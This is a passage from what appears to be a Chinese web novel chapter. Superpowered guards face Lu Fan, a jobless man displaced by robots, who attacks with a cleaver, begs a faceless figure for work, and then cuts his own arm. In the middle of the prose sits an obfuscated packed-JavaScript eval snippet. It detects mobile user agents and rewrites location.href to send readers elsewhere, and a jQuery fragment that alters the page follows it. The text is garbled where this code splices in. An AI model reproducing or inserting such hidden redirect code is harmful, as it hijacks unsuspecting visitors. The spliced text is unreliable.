易戈:“好家伙,这人可真有创意啊。他投了上千份简历,做什么的都有,像未来集团这样的就不说了,他肯定是进不去的,可是其他很多我连名字都没听过,看起来也不像是什么难进去的啊,他怎么会一个工作都找不到呢?” 果然,没吃过找工作的苦头,才会有这样的疑惑。 宿九不由想到以前自己找工作的时候,唉,算了,说多了都是泪。 陈一伟也不理解:“工作有这么难找吗?我看多半就是他要求太高了。” 典!太典了这话。 宿九瞬间被某些不愉快的记忆攻击了。 在场的人,都是年纪轻轻时便直接通过考核加入城防军的异能者,没有在外找工作的经历,自然是无法明白普通人的困难。 但安叶并未发表自己的看法,只道:“我听说最近两年,确实有很多普通人丢了工作,说是现在的机器人越来越多,很多地方已经不再需要他们了。” 易戈关闭手环,嘟嘟囔囔道:“这些年未来集团大力研发和推行机器人,就连我们城主府都要被机器人给占领了!” 说到这里,易戈顿了顿:“只是没想到来的这么快。” 陈一伟环顾四周,闻言嗤笑出声:“都多少年了?这些普通人还没有学会如何在这个世界上生存。” 安叶眼里似乎闪过了一抹冷光,她忽然侧身,双手迅速抬起,将枪口对准了陈一伟的方向。 噗噗。 消音器掩盖了枪响,众人只来得及听见一声重物倒地的沉闷响声。 易戈瞪大了眼睛:“什么玩意儿?!” 宿九默默远离了几步。 在安叶出手前,她就已经发现了这个悄然出现的东西。 只是她在好奇,对方要做什么。 直到面无表情的男人举起菜刀无声砍向陈一伟的后颈脖时,她明白了。 是路繁。 他仰躺在地上,额间是一个巨大的血洞,瞪大的双眼正死死地望着天空。 “路繁?!”易戈发出惊讶的声音,“他怎么出现在这儿?” 陈一伟后知后觉地看向安叶,神情颇为复杂,他刚才是差点死了? 不对,在能量空间里他们的□□是不会受到实质性伤害啊,可为什么…… 安叶打断了他的思绪,冷声道:“从现在开始,都给我警惕点,这地方不太对劲。” 陈一伟下意识摸向自己的耳朵,但冷硬的头部保护罩阻止了他,他仿佛从梦中惊醒,转头大声询问易戈:“我耳朵流血了!?” 易戈被吓了一跳,活脱脱像只炸了毛的猫:“搞咩啊你这么大声!” 但他的身体还是十分诚实,三两步靠近了他,一副不耐烦的样子:“早就没流了,放心吧你,死不了。” 然而他话音刚落,就发现其他人正一声不吭地盯着他。 “怎么了?” “嘘!”安叶朝他竖起食指。 不知从什么时候开始,道路两旁的大楼前,出现了一个接一个的人,乍眼一看,就像是一排排鬼影,正一动不动地凝视着他们。 吭哧哧吭哧哧—— 刚刚还倒在地上的路繁,此时却扭动着身子站了起来,就连他额头上的洞都恢复如初,完全没有了血洞的痕迹。 安叶他们都不约而同地屏住了呼吸,警惕着周围的变化。 但宿九站在一旁,忽然觉得自己好像是游离于这个世界之外的人,她只是在旁观着这里的一切。 真奇怪,就好像她在操纵一个角色玩游戏,而她自己本身并没有什么沉浸感。 但这个想法刚冒出头就被宿九拍散了,太危险了,这样的想法或许会让她在某一刻陷入无法逃脱的危险。 宿九非常清醒地知道,这不是游戏,这是现实。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141317|196350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【救……世……主……】 什么? 【救世主……】 路繁是在看她?宿九疑惑,她虽然听清楚了,但这三个字是她所知道的那个意思吗? “小心!”安叶猛地将她往旁边拉了一把,“你在想什么?人都要撞上你了,你都没动。” “嗯?”宿九转头,对上了安叶关切的目光。 路繁恰恰经过她刚才的位置,状态良好地走向大楼的方向。 “谢谢。”她没有解释,虽然她肯定会让开的,但有时候适当地向他人显露出自己的某个瑕疵,也并不是什么坏事。 这一点尤其适用于职场,好吧,宿九承认自己有在工作上偷懒的心思,至少从以往的经历来说,她并没有想当那个冲在前方的角色。 “你好,我叫路繁。” 路繁站在一栋大楼前,面向那个人影,带着礼貌的微笑说。 人影穿着笔挺的黑色制服,这是某种社会身份的象征。 路繁继续介绍自己,就像是在推销某个商品:“我什么都能做,清洁、搬运、修理、制作组装零件、危险品处理……我都可以,我有经验,什么我都能学,而且我学得很快的。” 人影只是沉默地伫立着,仿佛一座无情的雕塑。 看到这一幕,易戈诧异道:“他这是在找工作?但这些工作,现在都是机器人在干了吧。” 所以,现在像路繁这样的普通人还能做什么呢? 虽然异能者比普通人的数量要少很多,但关键位置却都被异能者所占据着,原本剩下来的还有很多可供普通人选择,但如今机器人的数量不断疯涨,仿佛它们成了社会运转的主力军。 宿九想了想,来到这个世界后,随处可见的机器人和智能化,确实给她一种不需要人的错觉。 安叶面无表情:“前几年,发生了一场大型爆炸事故。” “我知道!就是未来集团旗下的一家公司。”易戈接话道,“我记得当时可火了,因为那场爆炸塌了一栋大楼,居然没有伤亡一人!” 宿九疑惑:“为什么?” 陈一伟耸了耸肩:“因为那栋楼里的员工全是机器人。” 接下来的事态发展,宿九觉得自己应该能猜到了。 安叶:“据说在此之前未来集团推行机器人似乎还有些阻力,但这件事故之后,就变得非常顺利。” 宿九和安叶对视了一眼,彼此都没再说话。 几人靠近路繁,看到了他略显苍白的脸色。 “我很有价值的。”路繁的语气急促了些,“你看看我,我很健康,我很少生病,我的要求很低的,薪水、薪水只要够买最便宜的营养液就行,一天工作二十小时也可以,我不需要休息……” 然而,人影的“脸”上,突然浮现出了一行冷白的发光文字,像是投影,又像是从它内部透出来的:估值评分F级,不满足岗位需求。 路繁的脸瞬间褪去了所有血色,变得惨白。 “我没有价值吗?”他发出微弱的低语。 “不、不,价值?我有的,我有价值!”路繁呼吸粗重起来,眼睛里迅速爬满血丝。 他手中的菜刀凭空而现,谁都没有料到,他挥刀狠狠砍向了自己的手臂。 献血喷溅,如同灿烂的烟花。